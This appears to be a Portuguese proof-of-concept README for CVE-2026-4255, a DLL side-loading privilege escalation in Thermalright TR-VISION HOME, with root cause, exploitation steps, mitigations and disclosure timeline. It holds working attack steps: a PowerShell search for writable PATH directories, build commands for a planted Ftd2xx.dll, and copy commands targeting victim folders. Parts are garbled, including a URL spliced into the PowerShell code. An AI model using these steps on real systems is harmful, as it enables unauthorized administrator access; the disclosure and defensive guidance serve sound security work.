
Prova de conceito para CVE-2026-4255: escalonamento de privilégio por DLL side-loading no Thermalright TR-VISION HOME via plantio de diretório PATH, com análise completa da causa raiz e orientação de mitigação.
Gravidade: ALTA (CVSS 8.4)
CWE: CWE-829 Inclusão de Funcionalidade de Esfera de Controle Não Confiável
Publicado: 16/03/2026
CNA: Toreon
Versões afetadas: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64 bits)
Descoberto por: Ard33
O Thermalright TR-VISION HOME carrega Ftd2xx.dll (biblioteca FTDI USB-to-serial) usando a ordem de pesquisa padrão de DLL do Windows. Essa ordem inclui diretórios graváveis pelo usuário antes de locais protegidos do sistema. Como o TR-VISION HOME sempre executa com privilégios administrativos e não realiza verificação de integridade ou assinatura nas bibliotecas carregadas, um atacante que possa escrever em qualquer diretório no PATH pode plantar uma Ftd2xx.dll maliciosa e fazê-la ser carregada com privilégios elevados na próxima vez que o aplicativo for iniciado.
Não são necessários direitos administrativos para plantar a DLL. Um usuário com baixos privilégios pode explorar isso contra qualquer usuário que posteriormente inicie o TR-VISION HOME com elevação.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| Métrica | Valor |
|---|---|
| Vetor de Ataque | Local |
| Complexidade do Ataque | Baixa |
| Requisitos de Ataque | Nenhum |
O aplicativo chama LoadLibrary("Ftd2xx.dll") (ou o importa implicitamente no carregamento) sem especificar um caminho totalmente qualificado. O Windows resolve a biblioteca percorrendo a ordem de pesquisa definida em MSDN Ordem de Pesquisa de Bibliotecas de Vínculo Dinâmico:
C:\Windows\System32)PATH ← explorávelUm atacante planta Ftd2xx.dll em um diretório gravável pelo usuário que aparece no PATH antes de System32. C:\Users\<Usuário>\.local\bin) é um desses diretórios e está presente no PATH por padrão, tornando-o um local de implantação confiável.
| Software | Versão | Plataforma |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Testado no TR-VISION HOME 2.0.5 no Windows 11.
%PATH%1. Identificar um diretório PATH gravável
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
Um padrão confiável: C:\Users\<Usuário>\.local\bin
2. Compilar a DLL do PoC
MinGW (cross ou nativo):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. Plantar a DLL
Escolha qualquer diretório gravável do passo 1. Dois padrões comuns:
:: uv / pipx default scripts directory
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Python Launcher (standard Python install)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
Nenhuma elevação é necessária para esta etapa.
4. Acionar
A vítima inicia o TR-VISION HOME (por exemplo, pelo Menu Iniciar ou bandeja do sistema). O prompt UAC executa o aplicativo com privilégios administrativos. Durante a inicialização, Ftd2xx.dll é resolvida através da ordem de pesquisa, a cópia plantada é encontrada antes de System32, e o DllMain do atacante é executado dentro do processo elevado.
5. Resultado esperado
C:\Users\Public\CVE-2026-4255_pwned.txt é criado, contendo:
TokenIsElevated = YESProcmon mostrando TR-VISION HOME (PID 78940) procurando por Ftd2xx.dll nos diretórios PATH — todos retornando NOME NÃO ENCONTRADO até que a cópia plantada seja resolvida:

Ftd2xx.dll plantada em AppData\Local\Programs\Python\Launcher\ (data 26/12/2025 — dia da descoberta):

Shell cmd elevado gerado pela DLL carregada — barra de título confirma contexto de Administrador:

Versão 2.0.5 do TR-VISION HOME:

Para a Thermalright:
Ftd2xx.dll usando um caminho totalmente qualificado em tempo de execução:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 ou LOAD_LIBRARY_SEARCH_APPLICATION_DIR com LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), embora isso não mitigue completamente a plantação baseada em PATH.Para usuários (temporário):
Ftd2xx.dll legítima (do pacote de driver FTDI D2XX) diretamente no diretório de instalação do TR-VISION HOME (ex.: C:\Program Files\TR-VISION HOME\). O diretório do aplicativo é o primeiro local pesquisado, portanto uma cópia legítima ali tem prioridade sobre qualquer plantação baseada em PATH.| Data | Evento |
|---|---|
| 26/12/2025 | Vulnerabilidade descoberta |
| 27/12/2025 | Fornecedor (Thermalright) contatado através dos canais de suporte |
| 16/03/2026 | Divulgação pública — CVE-2026-4255 atribuído pela Toreon CNA |
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa. O payload do PoC é intencionalmente benigno — ele escreve um arquivo de texto e exibe uma caixa de mensagem. Utilize apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não se responsabiliza pelo uso indevido.
| Privilégios Necessários |
| Nenhum |
| Interação do Usuário | Ativa (vítima inicia o aplicativo) |